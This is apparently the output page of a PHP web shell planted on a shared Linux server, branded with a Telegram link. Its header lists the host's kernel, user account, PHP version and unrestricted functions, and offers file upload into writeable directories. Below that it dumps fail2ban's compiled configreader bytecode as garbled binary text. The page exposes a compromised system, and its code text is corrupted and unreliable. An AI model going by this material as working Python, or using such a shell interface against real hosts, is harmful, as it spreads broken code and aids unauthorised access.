https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/fail2ban/client/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/fail2ban/client/__pycache__/configreader.cpython-310.pyc
o

;s*bO4�@s�dZdZdZddlZddlZddlmZmZddlm	Z	m
Z
mZdd	lm
Z
mZmZmZe
e�Zeed
�Zdd�ZGd
d�d�ZGdd�de
�ZGdd�de�ZdS)z?Cyril Jaquier, Yaroslav Halchenko, Serg G. Brester (aka sebres)z\Copyright (c) 2004 Cyril Jaquier, 2007 Yaroslav Halchenko, 2015 Serg G. Brester (aka sebres)�GPL�N)�
NoOptionError�NoSectionError�)�sys�SafeConfigParserWithIncludes�logLevel�)�	getLogger�_as_bool�_merge_dicts�substituteRecursiveTags)�bool�intccsv�t|ttf�r(|D]}t|�dkr|\}}}n|d\}}}|||fVq
dS|D]}||\}}|||fVq*dS)z�Iterator over the options template with default options.
	
	Each options entry is composed of an array or tuple with:
		[[type, name, ?default?], ...]
	Or it is a dict:
		{name: [type, default], ...}
	r	N)�
isinstance�list�tuple�len)�options�optname�opttype�optvalue�r�>/usr/lib/python3/dist-packages/fail2ban/client/configreader.py�_OptionsTemplateGen)s���rc@s�eZdZdZd"dd�Zdd�Zdd�Zed	d
��Zd#dd
�Z	d$dd�Z
dd�Zdd�Zd#dd�Z
dd�Zdd�Zd%dd�Zdifdd�Zd d!�ZdS)&�ConfigReaderzkGeneric config reader class.

	A caching adapter which automatically reuses already shared configuration.
	NcKsZd|_d|_|dur
||_|dur||_||_d|_dS|jdur+tdi|��|_dSdS)Nr)�
_cfg_share�_cfg�_cfg_share_kwargs�_cfg_share_basedir�ConfigReaderUnshared)�self�
use_config�share_config�kwargsrrr�__init__Ds

�zConfigReader.__init__cCs |jr|j�|�dS||_dS�N)r�
setBaseDirr�r!�basedirrrrr'Rs
zConfigReader.setBaseDircCs|jr|j��S|jSr&)r�
getBaseDirr�r!rrrr*Xs
zConfigReader.getBaseDircC�|jSr&)rr+rrrr#^szConfigReader.share_configTcCsT|js|�|�|r|jjdur|jjSt�d||j���|j�|�}||j_|S)z� Overloads a default (not shared) read of config reader.

	  To prevent mutiple reads of config files with it includes, reads into 
	  the config reader, if it was not yet cached/shared by 'name'.
	  Nz Loading configs for %s under %s )r�_create_unshared�read_cfg_files�logSys�infor*�read)r!�name�once�retrrrr1bs
zConfigReader.read�cCs~|js4|jdur4|j�|�|_|js2tdd|ji|j��|_|jdur*|j�|j�|j|j|<dSdStdi|j��|_dS)z� Allocates and share a config file by it name.

	  Automatically allocates unshared or reuses shared handle by given 'name' and 
	  init arguments inside a given shared storage.
	  Nr#r)rr�getr rrr')r!r2rrrr-ws
�zConfigReader._create_unsharedcCs.zdd�|j��D�WStygYSw)Ncss�|]
}|�d�s|VqdS)zKNOWN/N)�
startswith)�.0�nrrr�	<genexpr>�s�z(ConfigReader.sections.<locals>.<genexpr>)r�sections�AttributeErrorr+rrrr;��
�zConfigReader.sectionscCs$z|j�|�WStyYdSw)NF)r�has_sectionr<)r!�secrrrr>�s
�zConfigReader.has_sectioncCs&|r	|j�||�S||jj�|i�vSr&)r�
has_option�	_sectionsr6)r!r?�opt�withDefaultrrrr@�s�zConfigReader.has_optioncCs|j���|�dSr&)r�get_defaults�update)r!�drrr�merge_defaults�szConfigReader.merge_defaultscO�4z|jj|g|�Ri|��WStyt|��wr&)r�
merge_sectionr<r�r!�section�argsr$rrrrI��
�zConfigReader.merge_sectionFcCs(z|j�||�WStyt|��w)z�Return a list of option names for the given section name.

		Parameter `withDefault` controls the include of names from section `[DEFAULT]`
		)rrr<r)r!rKrCrrrr�s
�zConfigReader.optionscCs.z|jj||||d�WStyt|��w)N)�raw�vars)rr6r<r)r!r?rBrNrOrrrr6�r=zConfigReader.getcOrHr&)r�
getOptionsr<rrJrrrrP�rMzConfigReader.getOptions)NN)T)r5�F)�__name__�
__module__�__qualname__�__doc__r%r'r*�propertyr#r1r-r;r>r@rGrIrr6rPrrrrr>s"






rc@s@eZdZdZdZddd�Zdd�Zdd	�Zd
d�Zddd�Z	dS)r z�Unshared config reader (previously ConfigReader).

	Do not use this class (internal not shared/cached represenation).
	Use ConfigReader instead.
	z
/etc/fail2banNcOs,tj|g|�Ri|��d|_|�|�dSr&)rr%r.r')r!r)rLr$rrrr%�szConfigReaderUnshared.__init__cCs|durtj}|�d�|_dS)N�/)r �DEFAULT_BASEDIR�rstrip�_basedirr(rrrr'�szConfigReaderUnshared.setBaseDircCr,r&)rZr+rrrr*��zConfigReaderUnshared.getBaseDircsTtj�|j�std|j��|�d�rtj�|�}tj�|j|�}t�	d||j�|dg}|d}|t
t�d|��7}|�|d�|t
t�d|��7}t
ttjj|��}t|�r�t�	d	d
�|��t�||���fdd�|D�}|rt�d
d
�|���r�dSt�d||���dSt�d|d|��dd
�|�gtt|���dS)Nz/Base configuration directory %s does not exist �./z Reading configs for %s under %s z.confz.dz	%s/*.confz.localz
%s/*.localzReading config files: %sz, csg|]}|�vr|�qSrr)r8�cf��config_files_readrr�
<listcomp>�sz-ConfigReaderUnshared.read.<locals>.<listcomp>zCould not read config files: %sTz0Found no accessible config files for %r under %sFz(Found no accessible config files for %r zunder %szamong existing ones: )�os�path�existsrZ�
ValueErrorr7�abspath�joinr/�debug�sorted�glob�appendr�filterrrr1�errorr*r)r!�filename�basename�config_files�
config_dir�missedrr^rr1�sD�

�

�
��zConfigReaderUnshared.readFTc
Cs(t�}|dur	i}t|�D]�\}}}	||vrq
z#|j|||d�}
|
||<|r9t�|�}|r9|
dur3Wq
||
�||<Wq
tyX}z|rE�t�|�|	||<WYd}~q
d}~wtyr|	durpt�d|||	f�|	||<Yq
t	y�t�d|d|dt
|	�d�|	||<Yq
w|S)N�rOz/'%s' not defined in '%s'. Using default one: %rzWrong value for 'z' in 'z'. Using default one: '�')�dictrr6�	CONVERTERrr/rlr�warningrd�repr)
r!r?r�pOptions�shouldExist�convert�valuesrrr�v�conv�errrrP�sN
�
�������zConfigReaderUnshared.getOptionsr&)NFT)
rRrSrTrUrXr%r'r*r1rPrrrrr �s
2r c@sxeZdZdZgZdd�Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zddd�Zdd�Z
dd�Zddd�Zdd�ZdS)�DefinitionInitConfigReaderz�Config reader for files with options grouped in [Definition] and
	[Init] sections.

	Is a base class for readers of filters and actions, where definitions
	in jails might provide custom values for options defined in [Init]
	section.
	cKsVtj|fi|��|�d�rtj�|�}|�|�|�|�||_t	�|_
t	�|_dS)Nr\)rr%r7rarbre�setFile�setJailName�	_initOptsrt�_pOpts�	_defCache)r!�file_�jailName�initOptsr$rrrr%/s


z#DefinitionInitConfigReader.__init__cCs||_i|_dSr&)�_filer�)r!�fileNamerrrr�9s
z"DefinitionInitConfigReader.setFilecCr,r&)r�r+rrr�getFile=r[z"DefinitionInitConfigReader.getFilecCs
||_dSr&��	_jailName)r!r�rrrr�@s
z&DefinitionInitConfigReader.setJailNamecCr,r&r�r+rrr�getJailNameCr[z&DefinitionInitConfigReader.getJailNamecCst�||j�Sr&)rr1r�r+rrrr1FszDefinitionInitConfigReader.readcCs"|js	|�|j�t�|j|j�Sr&)rr-r�rr1r+rrr�readexplicitJsz'DefinitionInitConfigReader.readexplicitFcs|st�}�jrt|�j�}tj�d�j|dd��_|�_��d�r_�fdd�}�j	ddd�D]/}|dkr6q/d}|�
d	�sL|durE||�}|�jd	|<|�jvr^|durY||�}|�j|<q/|r���d�r���	d�D]}|dksv|�jvrwqk��d|��j|<qkdSdSdS)
N�
DefinitionF)rz�Initcs��d|�S)Nr�)r6)rBr+rr�<lambda>\sz7DefinitionInitConfigReader.getOptions.<locals>.<lambda>)rCrRzknown/)rtr�rrrP�_configOpts�_optsr�r>rr7r6)r!�pOpts�all�getoptrBr|rr+rrPOs4�




��z%DefinitionInitConfigReader.getOptionscCsxt|�D]5\}}}t�|�}|r9|�|�}|durqz||�||<Wqty8t�d||||�|||<YqwqdS)z:Convert interpolated combined options to expected type.
		Nz/Wrong %s value %r for %r. Using default one: %r)rrur6rdr/rv)r!�opts�
configOptsrrrr}r|rrr�convertOptionsms


����z)DefinitionInitConfigReader.convertOptionsc
Csdz|j|WSty1z|jjd||jd�}Wntttfy'd}Ynw||j|<|YSw)z�Get combined definition option (as string) using pre-set and init
		options as preselection (values with higher precedence as specified in section).

		Can be used only after calling of getOptions.
		r�rrN)r��KeyErrorr�get_exr�rrrd)r!rr|rrr�
getCombOption|s�
�z(DefinitionInitConfigReader.getCombOptionrcCs�|j}|jrt||j�}t|�siSt|���}|D]}tj�|�}|r/|�	�\}}|�
|�qt|||jd�}|s>t
d��|�||j�|S)N)�ignore�addreplz/recursive tag definitions unable to be resolved)r�r�rr�set�copyr�CONDITIONAL_RE�match�groups�addr
r�rdr�r�)r!r��combinedoptsr9�condr�rrr�getCombined�s&
��z&DefinitionInitConfigReader.getCombinedcCst�r&)�NotImplementedErrorr+rrrrz�sz"DefinitionInitConfigReader.convertNrQ)r)rRrSrTrUr�r%r�r�r�r�r1r�rPr�r�r�rzrrrrr$s


r)�
__author__�
__copyright__�__license__rira�configparserrr�configparserincrrr�helpersr
rrr
rRr/rrurrr rrrrr�<module>s �ym

https://t.me/RX1948 - 2025